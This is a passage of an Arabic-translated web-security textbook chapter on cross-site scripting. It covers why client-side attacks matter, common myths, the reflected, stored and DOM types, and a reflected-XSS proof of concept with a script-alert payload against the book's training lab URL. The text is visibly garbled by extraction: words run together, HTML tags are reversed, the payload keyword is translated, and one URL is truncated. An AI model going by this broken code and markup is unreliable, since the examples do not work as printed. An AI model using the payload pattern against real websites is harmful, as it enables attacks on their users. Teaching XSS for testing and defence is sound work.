‫ﺣﻘﻦﺍﻷﻭﺍﻣﺮ‪ ،‬ﻭﺍﻟﺘﻲ ﻛﺎﻥ ﻣﻦ ﺍﻟﺴﻬﻞ ﺍﻛﺘﺸﺎﻓﻬﺎ ﻭﺍﺳﺘﻐﻼﻟﻬﺎ ﻣﻦ ﻗﺒﻞ ﺃﻱ ﻣﻬﺎﺟﻢ ﻟﺪﻳﻪ ﺍﻟﻘﻠﻴﻞ ﻣﻦ‬
‫ﺍﻟﻤﻌﺮﻓﺔ‪.‬ﻭﺭﻏﻢ ﺃﻥ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﻫﺬﻩ ﺍﻟﺜﻐﺮﺍﺕ ﻻ ﺗﺰﺍﻝ ﻣﻮﺟﻮﺩﺓ ﺣﺘﻰ ﺍﻟﻴﻮﻡ‪ ،‬ﺇﻻ ﺃﻧﻬﺎ ﺗﺘﻨﺎﻗﺺ ﺗﺪﺭﻳﺠﻴﺎً‬
‫ﻭﻳﺼﻌﺐﺍﺳﺘﻐﻼﻟﻬﺎ‪ .‬ﻭﻓﻲ ﺍﻟﻮﻗﺖ ﻧﻔﺴﻪ‪ ،‬ﻻ ﺗﺰﺍﻝ ﺣﺘﻰ ﺃﻛﺜﺮ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺃﻫﻤﻴﺔ ﺃﻣﻨﻴﺔ ﺗﺤﺘﻮﻱ ﻋﻠﻰ‬
‫ﺍﻟﻌﺪﻳﺪﻣﻦ ﺍﻟﻌﻴﻮﺏ ﺍﻟﺘﻲ ﻳﺴﻬﻞ ﺍﻛﺘﺸﺎﻓﻬﺎ ﻣﻦ ﺟﺎﻧﺐ ﺍﻟﻌﻤﻴﻞ‪ .‬ﻋﻼﻭﺓ ﻋﻠﻰ ﺫﻟﻚ‪ ،‬ﻋﻠﻰ ﺍﻟﺮﻏﻢ ﻣﻦ ﺃﻥ‬
‫ﺟﺎﻧﺐﺍﻟﺨﺎﺩﻡ ﻓﻲ ﺍﻟﺘﻄﺒﻴﻖ ﻗﺪ ﻳﺘﺼﺮﻑ ﺑﻄﺮﻳﻘﺔ ﻣﺤﺪﻭﺩﺓ ﻭﻗﺎﺑﻠﺔ ﻟﻠﺘﺤﻜﻢ‪ ،‬ﺇﻻ ﺃﻥ ﺍﻟﻌﻤﻼء ﻗﺪ‬
‫ﻳﺴﺘﺨﺪﻣﻮﻥﺃﻱ ﻋﺪﺩ ﻣﻦ ﺗﻘﻨﻴﺎﺕ ﻭﺇﺻﺪﺍﺭﺍﺕ ﺍﻟﻤﺘﺼﻔﺢ ﺍﻟﻤﺨﺘﻠﻔﺔ‪ ،‬ﻣﻤﺎ ﻳﻔﺘﺢ ﺍﻟﺒﺎﺏ ﺃﻣﺎﻡ ﻣﺠﻤﻮﻋﺔ‬
‫ﻭﺍﺳﻌﺔﻣﻦ ﻧﻮﺍﻗﻞ ﺍﻟﻬﺠﻮﻡ ﺍﻟﻨﺎﺟﺤﺔ ﺍﻟﻤﺤﺘﻤﻠﺔ‪.‬‬

‫ﺭﻛﺰﺕﺍﻷﺑﺤﺎﺙ ﺑﺸﻜﻞ ﺭﺉﻴﺴﻲ ﺧﻼﻝ ﺍﻟﻌﻘﺪ ﺍﻟﻤﺎﺿﻲ ﻋﻠﻰ ﻧﻘﺎﻁ ﺍﻟﻀﻌﻒ ﻓﻲ ﺟﺎﻧﺐ ﺍﻟﻌﻤﻴﻞ‪،‬‬
‫ﺣﻴﺚﻧﻮﻗﺸﺖ ﻋﻴﻮﺏ ﻣﺜﻞ ﺗﺜﺒﻴﺖ ﺍﻟﺠﻠﺴﺔ ﻭﺗﺰﻭﻳﺮ ﻃﻠﺒﺎﺕ ﺍﻟﻤﻮﺍﻗﻊ ﺍﻟﻤﺘﻌﺪﺩﺓ ﻷﻭﻝ ﻣﺮﺓ ﺑﻌﺪ ﺳﻨﻮﺍﺕ‬
‫ﻋﺪﻳﺪﺓﻣﻦ ﺍﻧﺘﺸﺎﺭ ﻣﻌﻈﻢ ﻓﺉﺎﺕ ﺃﺧﻄﺎء ﺟﺎﻧﺐ ﺍﻟﺨﺎﺩﻡ‪ .‬ﻳﻨﺼﺐ ﺗﺮﻛﻴﺰ ﻭﺳﺎﺉﻞ ﺍﻹﻋﻼﻡ ﻋﻠﻰ ﺃﻣﻦ‬
‫ﺍﻹﻧﺘﺮﻧﺖﺑﺸﻜﻞ ﺭﺉﻴﺴﻲ ﻋﻠﻰ ﻫﺠﻤﺎﺕ ﺟﺎﻧﺐ ﺍﻟﻌﻤﻴﻞ‪ ،‬ﺣﻴﺚ ﺃﺻﺒﺤﺖ ﻣﺼﻄﻠﺤﺎﺕ ﻣﺜﻞ ﺑﺮﺍﻣﺞ‬
‫ﺍﻟﺘﺠﺴﺲﻭﺍﻟﺘﺼﻴﺪ ﺍﻻﺣﺘﻴﺎﻟﻲ ﻭﺃﺣﺼﻨﺔ ﻃﺮﻭﺍﺩﺓ ﺷﺎﺉﻌﺔ ﻟﺪﻯ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﺼﺤﻔﻴﻴﻦ ﺍﻟﺬﻳﻦ ﻟﻢ‬
‫ﻳﺴﻤﻌﻮﺍﻗﻂ ﻋﻦ ﺣﻘﻦ ‪ SQL‬ﺃﻭ ﻋﺒﻮﺭ ﺍﻟﻤﺴﺎﺭ‪ .‬ﻭﺗﻌُﺘﺒﺮ ﺍﻟﻬﺠﻤﺎﺕ ﺿﺪ ﻣﺴﺘﺨﺪﻣﻲ ﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﻮﻳﺐ‬
‫ﺗﺠﺎﺭﺓﺇﺟﺮﺍﻣﻴﺔ ﻣﺮﺑﺤﺔ ﺑﺸﻜﻞ ﻣﺘﺰﺍﻳﺪ‪ .‬ﻓﻠﻤﺎﺫﺍ ﺗﻜُﻠﻒ ﻧﻔﺴﻚ ﻋﻨﺎء ﺍﻗﺘﺤﺎﻡ ﺑﻨﻚ ﺇﻟﻜﺘﺮﻭﻧﻲ ﺑﻴﻨﻤﺎ ﻳﻤﻜﻨﻚ‬
‫ﺑﺪﻻ ًﻣﻦ ﺫﻟﻚ ﺍﺧﺘﺮﺍﻕ ‪ %1‬ﻣﻦ ﻋﻤﻼﺉﻪ ﺍﻟﺒﺎﻟﻎ ﻋﺪﺩﻫﻢ ‪ 10‬ﻣﻼﻳﻴﻦ ﻓﻲ ﻫﺠﻮﻡ ﺑﺪﺍﺉﻲ ﻧﺴﺒﻴﺎً ﻻ‬
‫ﻳﺘﻄﻠﺐﺳﻮﻯ ﺍﻟﻘﻠﻴﻞ ﻣﻦ ﺍﻟﻤﻬﺎﺭﺓ ﺃﻭ ﺍﻟﻠﺒﺎﻗﺔ؟‬

‫ﺗﺘﺨﺬﺍﻟﻬﺠﻤﺎﺕ ﺿﺪ ﻣﺴﺘﺨﺪﻣﻲ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻷﺧﺮﻯ ﺃﺷﻜﺎﻻً ﻣﺘﻌﺪﺩﺓ‪ ،‬ﻭﺗﻈُﻬﺮ ﺗﻔﺎﺻﻴﻞ ﺩﻗﻴﻘﺔ‬


‫ﻭﺩﻗﻴﻘﺔﻏﺎﻟﺒﺎً ﻣﺎ ﺗﻐُﻔﻞ‪ .‬ﻛﻤﺎ ﺃﻧﻬﺎ ﺃﻗﻞ ﻓﻬﻤﺎً ﺑﺸﻜﻞ ﻋﺎﻡ ﻣﻦ ﺍﻟﻬﺠﻤﺎﺕ ﺍﻟﺮﺉﻴﺴﻴﺔ ﻣﻦ ﺟﻬﺔ ﺍﻟﺨﺎﺩﻡ‪،‬‬
‫ﺣﻴﺚﻳﺘﻢ ﺩﻣﺞ ﻋﻴﻮﺏ ﻣﺨﺘﻠﻔﺔ ﺃﻭ ﺇﻫﻤﺎﻟﻬﺎ ﺣﺘﻰ ﻣﻦ ﻗﺒِﻞ ﺑﻌﺾ ﻣﺨُﺘﺒﺮﻱ ﺍﻻﺧﺘﺮﺍﻕ ﺍﻟﻤﺤُﻨﻜﻴﻦ‪.‬‬
‫ﺳﻨﺼﻒﺟﻤﻴﻊ ﺍﻟﺜﻐﺮﺍﺕ ﺍﻷﻣﻨﻴﺔ ﺍﻟﺸﺎﺉﻌﺔ‪ ،‬ﻭﻧﻮﺿﺢ ﺍﻟﺨﻄﻮﺍﺕ ﺍﻟﻌﻤﻠﻴﺔ ﺍﻟﺘﻲ ﻳﺠﺐ ﺍﺗﺒﺎﻋﻬﺎ ﻟﺘﺤﺪﻳﺪ‬
‫ﻛﻞﻣﻨﻬﺎ ﻭﺍﺳﺘﻐﻼﻟﻬﺎ‪.‬‬

‫ﻳﺮﻛﺰﻫﺬﺍ ﺍﻟﻔﺼﻞ ﻋﻠﻰ ﻫﺠﻤﺎﺕ ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ )‪ .(XSS‬ﺗﻌُﺪ ّﻫﺬﻩ ﺍﻟﻔﺉﺔ ﻣﻦ‬
‫ﺍﻟﺜﻐﺮﺍﺕﺍﻷﻣﻨﻴﺔ ﺑﻤﺜﺎﺑﺔ ﺍﻷﺏ ﺍﻟﺮﻭﺣﻲ ﻟﻠﻬﺠﻤﺎﺕ ﺿﺪ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻵﺧﺮﻳﻦ‪ .‬ﻭﻫﻲ‪ ،‬ﺇﻟﻰ ﺣﺪ ﻣﺎ‪ ،‬ﺃﻛﺜﺮ‬
‫ﺛﻐﺮﺍﺕﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﻮﻳﺐ ﺷﻴﻮﻋﺎً‪ .‬ﺗﺼُﻴﺐ ﺍﻟﻐﺎﻟﺒﻴﺔ ﺍﻟﻌﻈﻤﻰ ﻣﻦ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻟﻨﺸﻄﺔ‪ ،‬ﺑﻤﺎ ﻓﻲ ﺫﻟﻚ‬
‫ﺑﻌﺾﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻷﻛﺜﺮ ﺃﻫﻤﻴﺔ ﺃﻣﻨﻴﺎً ﻋﻠﻰ ﺍﻹﻧﺘﺮﻧﺖ‪ ،‬ﻣﺜﻞ ﺗﻠﻚ ﺍﻟﺘﻲ ﺗﺴﺘﺨﺪﻣﻬﺎ ﺍﻟﺒﻨﻮﻙ ﺍﻹﻟﻜﺘﺮﻭﻧﻴﺔ‪.‬‬
‫ﻳﺘﻨﺎﻭﻝﺍﻟﻔﺼﻞ ﺍﻟﺘﺎﻟﻲ ﻋﺪﺩﺍً ﻛﺒﻴﺮﺍً ﻣﻦ ﺃﻧﻮﺍﻉ ﺍﻟﻬﺠﻤﺎﺕ ﺍﻷﺧﺮﻯ ﺿﺪ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ ،‬ﻭﺍﻟﺘﻲ ﻳﺘﺸﺎﺑﻪ‬
‫ﺑﻌﻀﻬﺎﺑﺸﻜﻞ ﻛﺒﻴﺮ ﻣﻊ ‪.XSS‬‬
‫‪433‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﺃﺳﻄﻮﺭﺓﺷﺎﺉﻌﺔ‬

‫"ﻳﺘﻌﺮﺽ ﺍﻟﻤﺴﺘﺨﺪﻣﻮﻥ ﻟﻠﺨﻄﺮ ﺑﺴﺒﺐ ﻋﺪﻡ ﺍﻫﺘﻤﺎﻣﻬﻢ ﺑﺎﻷﻣﻦ"‪.‬‬

‫ﻣﻊﺃﻥ ﻫﺬﺍ ﺻﺤﻴﺢ ﺟﺰﺉﻴﺎً‪ ،‬ﺇﻻ ﺃﻥ ﺑﻌﺾ ﺍﻟﻬﺠﻤﺎﺕ ﻋﻠﻰ ﻣﺴﺘﺨﺪﻣﻲ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﻗﺪ ﺗﻨﺠﺢ ﺑﻐﺾ‬
‫ﺍﻟﻨﻈﺮﻋﻦ ﺍﺣﺘﻴﺎﻃﺎﺗﻬﻢ ﺍﻷﻣﻨﻴﺔ‪ .‬ﻳﻤﻜﻦ ﻟﻬﺠﻤﺎﺕ ‪ XSS‬ﺍﻟﻤﺨﺰﻧﺔ ﺃﻥ ﺗﻌُﺮﺽّ ﺃﻛﺜﺮ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﻭﻋﻴﺎً‬
‫ﺑﺎﻷﻣﻦﻟﻠﺨﻄﺮ ﺩﻭﻥ ﺃﻱ ﺗﻔﺎﻋﻞ ﻣﻨﻪ‪ .‬ﻳﻘُﺪﻡّ ﺍﻟﻔﺼﻞ ‪ 13‬ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﻄﺮﻕ ﺍﻷﺧﺮﻯ ﺍﻟﺘﻲ ﻳﻤُﻜﻦ ﻣﻦ‬
‫ﺧﻼﻟﻬﺎﺍﺧﺘﺮﺍﻕ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻟﻤﻬﺘﻤﻴﻦ ﺑﺎﻷﻣﻦ ﺩﻭﻥ ﻋﻠﻤﻬﻢ‪.‬‬

‫ﻋﻨﺪﻣﺎﺫﺍﻉ ﺻﻴﺖ ‪ XSS‬ﻓﻲ ﺃﻭﺳﺎﻁ ﺃﻣﻦ ﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﻮﻳﺐ‪ ،‬ﻛﺎﻥ ﺑﻌﺾ ﺧﺒﺮﺍء ﺍﺧﺘﺒﺎﺭ ﺍﻻﺧﺘﺮﺍﻕ‬
‫ﻳﻌﺘﺒﺮﻭﻧﻪﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ "ﺿﻌﻴﻔﺔ"‪ .‬ﻭﻳﻌﻮﺩ ﺫﻟﻚ ﺟﺰﺉﻴﺎً ﺇﻟﻰ ﺍﻧﺘﺸﺎﺭﻩ ﺍﻟﻬﺎﺉﻞ ﻋﻠﻰ ﺍﻹﻧﺘﺮﻧﺖ‪ ،‬ﻭﻷﻥ ‪XSS‬‬
‫ﻏﺎﻟﺒﺎًﻣﺎ ﻳﻜﻮﻥ ﺃﻗﻞ ﻓﺎﺉﺪﺓ ﻟﻠﻤﺨﺘﺮﻕ ﺍﻟﺬﻱ ﻳﺴﺘﻬﺪﻑ ﺗﻄﺒﻴﻘﺎً ﺑﻤﻔﺮﺩﻩ‪ ،‬ﻣﻘﺎﺭﻧﺔ ًﺑﺎﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﺜﻐﺮﺍﺕ‬
‫ﺍﻷﺧﺮﻯﻣﺜﻞ ﺣﻘﻦ ﺍﻷﻭﺍﻣﺮ ﻣﻦ ﺟﺎﻧﺐ ﺍﻟﺨﺎﺩﻡ‪ .‬ﻭﻣﻊ ﻣﺮﻭﺭ ﺍﻟﻮﻗﺖ‪ ،‬ﺗﻐﻴﺮ ﻫﺬﺍ ﺍﻟﺘﺼﻮﺭ‪ ،‬ﻭﻳﺸُﺎﺭ ﺇﻟﻰ ‪XSS‬‬
‫ﺍﻟﻴﻮﻡﻋﻠﻰ ﺃﻧﻪ ﺍﻟﺘﻬﺪﻳﺪ ﺍﻷﻣﻨﻲ ﺍﻷﻭﻝ ﻋﻠﻰ ﺍﻹﻧﺘﺮﻧﺖ‪ .‬ﻭﻣﻊ ﺗﻄﻮﺭ ﺍﻷﺑﺤﺎﺙ ﺣﻮﻝ ﻫﺠﻤﺎﺕ ﺟﺎﻧﺐ‬
‫ﺍﻟﻌﻤﻴﻞ‪،‬ﺭﻛﺰ ﺍﻟﻨﻘﺎﺵ ﻋﻠﻰ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﻬﺠﻤﺎﺕ ﺍﻷﺧﺮﻯ ﺍﻟﺘﻲ ﻳﺼﻌﺐ ﺍﺳﺘﻐﻼﻟﻬﺎ ﺑﻘﺪﺭ ﺃﻱ ﺛﻐﺮﺓ ‪.XSS‬‬
‫ﻭﻗﺪﻭﻗﻌﺖ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﻬﺠﻤﺎﺕ ﺍﻟﻮﺍﻗﻌﻴﺔ ﺍﻟﺘﻲ ﺍﺳﺘﺨُﺪﻣﺖ ﻓﻴﻬﺎ ﺛﻐﺮﺍﺕ ‪ XSS‬ﻻﺧﺘﺮﺍﻕ ﻣﺆﺳﺴﺎﺕ‬
‫ﻣﺮﻣﻮﻗﺔ‪.‬‬

‫ﻏﺎﻟﺒﺎًﻣﺎ ﻳﻤُﺜﻞ ‪ XSS‬ﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ ﺣﺮﺟﺔ ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ‪ .‬ﻭﻳﻤﻜﻦ ﺩﻣﺠﻪ ﻣﻊ ﺛﻐﺮﺍﺕ ﺃﺧﺮﻯ ﻣﺴُﺒﺒﺎً ﺁﺛﺎﺭﺍً‬
‫ﻣﺪﻣﺮﺓ‪.‬ﻓﻲ ﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ‪ ،‬ﻳﻤﻜﻦ ﺃﻥ ﻳﺘﺤﻮﻝ ﻫﺠﻮﻡ ‪ XSS‬ﺇﻟﻰ ﻓﻴﺮﻭﺱ ﺃﻭ ﺩﻭﺩﺓ ﺫﺍﺗﻴﺔ ﺍﻻﻧﺘﺸﺎﺭ‪.‬‬
‫ﻫﺠﻤﺎﺕﻣﻦ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻟﻴﺴﺖ ﺑﺎﻟﻬﻴﻨﺔ ﺑﺎﻟﺘﺄﻛﻴﺪ‪.‬‬

‫ﺃﺳﻄﻮﺭﺓﺷﺎﺉﻌﺔ‬

‫"ﻻ ﻳﻤﻜﻨﻚ ﺍﻣﺘﻼﻙ ﺗﻄﺒﻴﻖ ﻭﻳﺐ ﻋﺒﺮ ‪".XSS‬‬

‫ﺍﻣﺘﻠﻚﺍﻟﻤﻄﻮﺭﻭﻥ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻟﺘﻲ ﺗﺴﺘﺨﺪﻡ ﻫﺠﻤﺎﺕ ‪ XSS‬ﻓﻘﻂ‪ .‬ﻓﻲ ﺍﻟﻈﺮﻭﻑ‬


‫ﺍﻟﻤﻨﺎﺳﺒﺔ‪،‬ﻳﻤﻜﻦ ﻟﺜﻐﺮﺓ ‪ XSS‬ﻣﺴُﺘﻐﻠﺔ ﺑﻤﻬﺎﺭﺓ ﺃﻥ ﺗﺆﺩﻱ ﻣﺒﺎﺷﺮﺓ ًﺇﻟﻰ ﺍﺧﺘﺮﺍﻕ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺎﻟﻜﺎﻣﻞ‪.‬‬
‫ﺳﻨﻮﺿﺢﻟﻚ ﻛﻴﻔﻴﺔ ﺍﻟﻘﻴﺎﻡ ﺑﺬﻟﻚ‪.‬‬

‫ﺃﻧﻮﺍﻉ‪XSS‬‬

‫ﺗﺘﻌﺪﺩﺃﺷﻜﺎﻝ ﺛﻐﺮﺍﺕ ‪ ،XSS‬ﻭﻳﻤﻜﻦ ﺗﻘﺴﻴﻤﻬﺎ ﺇﻟﻰ ﺛﻼﺛﺔ ﺃﻧﻮﺍﻉ‪ :‬ﻣﻨﻌﻜﺴﺔ‪ ،‬ﻭﻣﺨﺰﻧﺔ‪ ،‬ﻭﻣﺒﻨﻴﺔ ﻋﻠﻰ‬
‫‪ .DOM‬ﻭﺭﻏﻢ ﺃﻥ ﻟﻬﺬﻩ ﺍﻟﺜﻐﺮﺍﺕ ﺳﻤﺎﺕ ﻣﺸﺘﺮﻛﺔ‪ ،‬ﺇﻻ ﺃﻧﻬﺎ ﺗﺨﺘﻠﻒ ﺍﺧﺘﻼﻓﺎً ﺟﻮﻫﺮﻳﺎً ﻓﻲ ﻛﻴﻔﻴﺔ‬
‫ﺗﺤﺪﻳﺪﻫﺎﻭﺍﺳﺘﻐﻼﻟﻬﺎ‪ .‬ﺳﻨﺘﻨﺎﻭﻝ ﻛﻞ ﻧﻮﻉ ﻣﻦ ﺃﻧﻮﺍﻉ ‪ XSS‬ﻋﻠﻰ ﺣﺪﺓ‪.‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪434‬‬

‫ﺛﻐﺮﺍﺕ‪ XSS‬ﺍﻟﻤﻨﻌﻜﺴﺔ‬
‫ﻣﻦﺍﻷﻣﺜﻠﺔ ﺍﻟﺸﺎﺉﻌﺔ ﻋﻠﻰ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﺳﺘﺨﺪﺍﻡ ﺗﻄﺒﻴﻖ ﻟﺼﻔﺤﺔ ﺩﻳﻨﺎﻣﻴﻜﻴﺔ ﻟﻌﺮﺽ ﺭﺳﺎﺉﻞ ﺍﻟﺨﻄﺄ‬
‫ﻟﻠﻤﺴﺘﺨﺪﻣﻴﻦ‪.‬ﻋﺎﺩﺓ‪ ً،‬ﺗﺄﺧﺬ ﺍﻟﺼﻔﺤﺔ ﻣﻌُﺎﻣﻼً ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﻧﺺ ﺍﻟﺮﺳﺎﻟﺔ‪ ،‬ﺛﻢ ﺗﻌُﻴﺪﻩ ﺇﻟﻰ ﺍﻟﻤﺴﺘﺨﺪﻡ‬
‫ﺿﻤﻦﺍﺳﺘﺠﺎﺑﺘﻬﺎ‪ .‬ﻳﻌُﺪ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺍﻵﻟﻴﺎﺕ ﻣﻼُﺉﻤﺎً ﻟﻠﻤﻄﻮﺭﻳﻦ‪ ،‬ﺇﺫ ﻳﺘُﻴﺢ ﻟﻬﻢ ﺍﺳﺘﺪﻋﺎء ﺻﻔﺤﺔ ﺧﻄﺄ‬
‫ﻣﺨُﺼﺼﺔﻣﻦ ﺃﻱ ﻣﻜﺎﻥ ﻓﻲ ﺍﻟﺘﻄﺒﻴﻖ ﺩﻭﻥ ﺍﻟﺤﺎﺟﺔ ﺇﻟﻰ ﺗﺮﻣﻴﺰ ﺭﺳﺎﺉﻞ ﻣﺤُﺪﺩﺓ ﺩﺍﺧﻞ ﺻﻔﺤﺔ ﺍﻟﺨﻄﺄ‬
‫ﻧﻔﺴﻬﺎ‪.‬‬

‫ﻋﻠﻰﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﺿﻊ ﻓﻲ ﺍﻋﺘﺒﺎﺭﻙ ﻋﻨﻮﺍﻥ ‪ URL‬ﺍﻟﺘﺎﻟﻲ‪ ،‬ﺍﻟﺬﻱ ﻳﻌﻴﺪ ﺭﺳﺎﻟﺔ ﺍﻟﺨﻄﺄ ﺍﻟﻤﻮﺿﺤﺔ ﻓﻲ‬
‫ﺍﻟﺸﻜﻞ‬

‫‪http://mds‬‬

‫ﺍﻟﺸﻜﻞ‪:1-12‬ﺭﺳﺎﻟﺔ ﺧﻄﺄ ﺗﻢ ﺇﻧﺸﺎﺅﻫﺎ ﺩﻳﻨﺎﻣﻴﻜﻴﺎً‬

‫ﻋﻨﺪﺍﻟﻨﻈﺮ ﺇﻟﻰ ﻣﺼﺪﺭ ‪ HTML‬ﻟﻠﺼﻔﺤﺔ ﺍﻟﻤﺮﺗﺠﻌﺔ‪ ،‬ﻳﻤﻜﻨﻨﺎ ﺃﻥ ﻧﺮﻯ ﺃﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻳﻨﺴﺦ ﺑﺒﺴﺎﻃﺔ‬
‫ﻗﻴﻤﺔﺭﺳﺎﻟﺔﺍﻟﻤﻌﻠﻤﺔ ﻓﻲ ﻋﻨﻮﺍﻥ ‪ URL‬ﻭﺇﺩﺭﺍﺟﻬﺎ ﻓﻲ ﻗﺎﻟﺐ ﺻﻔﺤﺔ ﺍﻟﺨﻄﺄ ﻓﻲ ﺍﻟﻤﻜﺎﻥ ﺍﻟﻤﻨﺎﺳﺐ‪:‬‬

‫<‪.>/p‬ﻋﺬﺭﺍ‪ ،‬ﺣﺪﺙ ﺧﻄﺄ<‪>p‬‬

‫ﻳﻌُﺪ ّﻫﺬﺍ ﺍﻟﺴﻠﻮﻙ‪ ،‬ﺍﻟﻤﺘﻤﺜﻞ ﻓﻲ ﺇﺩﺧﺎﻝ ﺑﻴﺎﻧﺎﺕ ﻣﻦ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻭﺇﺩﺭﺍﺟﻬﺎ ﻓﻲ ‪ HTML‬ﻻﺳﺘﺠﺎﺑﺔ‬


‫ﺍﻟﺨﺎﺩﻡ‪،‬ﺃﺣﺪ ﻋﻼﻣﺎﺕ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﻨﻌﻜﺴﺔ‪ ،‬ﻭﺇﺫﺍ ﻟﻢ ﺗﻨُﻔﺬَّ ﺃﻱ ﺗﺼﻔﻴﺔ ﺃﻭ ﺗﻄﻬﻴﺮ‪ ،‬ﻓﺴﻴﻜﻮﻥ ﺍﻟﺘﻄﺒﻴﻖ‬
‫ﻋﺮﺿﺔﻟﻠﺨﻄﺮ ﺑﺎﻟﺘﺄﻛﻴﺪ‪ .‬ﻟﻨﺮ َﻛﻴﻒ‪.‬‬

‫ﺗﻢﺇﻧﺸﺎء ﻋﻨﻮﺍﻥ ‪ URL‬ﺍﻟﺘﺎﻟﻲ ﻻﺳﺘﺒﺪﺍﻝ ﺭﺳﺎﻟﺔ ﺍﻟﺨﻄﺄ ﺑﺠﺰء ﻣﻦ ‪ JavaScript‬ﻳﻘﻮﻡ ﺑﺈﻧﺸﺎء ﻣﺮﺑﻊ‬
‫ﺣﻮﺍﺭﻣﻨﺒﺜﻖ‪:‬‬

‫<‪http://mdsec.net/error/5/Error.ashx?message=>script<alert)1(>/script‬‬

‫ﻳﺆﺩﻱﻃﻠﺐ ﻋﻨﻮﺍﻥ ‪ URL‬ﻫﺬﺍ ﺇﻟﻰ ﺇﻧﺸﺎء ﺻﻔﺤﺔ ‪ HTML‬ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﻣﺎ ﻳﻠﻲ ﺑﺪﻻ ًﻣﻦ ﺍﻟﺮﺳﺎﻟﺔ‬
‫ﺍﻷﺻﻠﻴﺔ‪:‬‬

‫<‪;>/script<>/p‬ﺗﻨﺒﻴﻪ)‪>p<>script<(1‬‬
‫‪435‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﺑﺎﻟﺘﺄﻛﻴﺪ‬
‫ﺭﺳﺎﻟﺔﻷﻋﻠﻰ‬

‫ﺍﻟﺸﻜﻞ‪:2-12‬ﺇﺛﺒﺎﺕ ﻣﻔﻬﻮﻡ ﺍﺳﺘﻐﻼﻝ ‪XSS‬‬

‫ﻳﺴُﺎﻋﺪﺇﺟﺮﺍء ﻫﺬﺍ ﺍﻻﺧﺘﺒﺎﺭ ﺍﻟﺒﺴﻴﻂ ﻋﻠﻰ ﺍﻟﺘﺤﻘﻖ ﻣﻦ ﺃﻣﺮﻳﻦ ﻣﻬﻤﻴﻦ‪ .‬ﺃﻭﻻً‪ ،‬ﻣﺤﺘﻮﻳﺎﺕﺭﺳﺎﻟﺔﻳﻤﻜﻦ‬
‫ﺍﺳﺘﺒﺪﺍﻝﺍﻟﻤﻌﻠﻤﺔ ﺑﺒﻴﺎﻧﺎﺕ ﻋﺸﻮﺍﺉﻴﺔ ﺗﻌُﺎﺩ ﺇﻟﻰ ﺍﻟﻤﺘﺼﻔﺢ‪ .‬ﺛﺎﻧﻴﺎً‪ ،‬ﻣﻬﻤﺎ ﻛﺎﻧﺖ ﺍﻟﻤﻌﺎﻟﺠﺔ ﺍﻟﺘﻲ ﻳﺠُﺮﻳﻬﺎ‬
‫ﺗﻄﺒﻴﻖﺍﻟﺨﺎﺩﻡ ﻋﻠﻰ ﻫﺬﻩ ﺍﻟﺒﻴﺎﻧﺎﺕ )ﺇﻥ ﻭﺟُﺪﺕ(‪ ،‬ﻓﻬﻲ ﻻ ﺗﻜﻔﻲ ﻟﻤﻨﻌﻨﺎ ﻣﻦ ﺗﻮﻓﻴﺮ ﺷﻴﻔﺮﺓ ﺟﺎﻓﺎ‬
‫ﺳﻜﺮﻳﺒﺖﺍﻟﺘﻲ ﺗﻨُﻔﺬَّ ﻋﻨﺪ ﻋﺮﺽ ﺍﻟﺼﻔﺤﺔ ﻓﻲ ﺍﻟﻤﺘﺼﻔﺢ‪.‬‬

‫ﺟﺮﺑﻬﺎ!‬

‫‪http://mdsec.net/error/5/‬‬

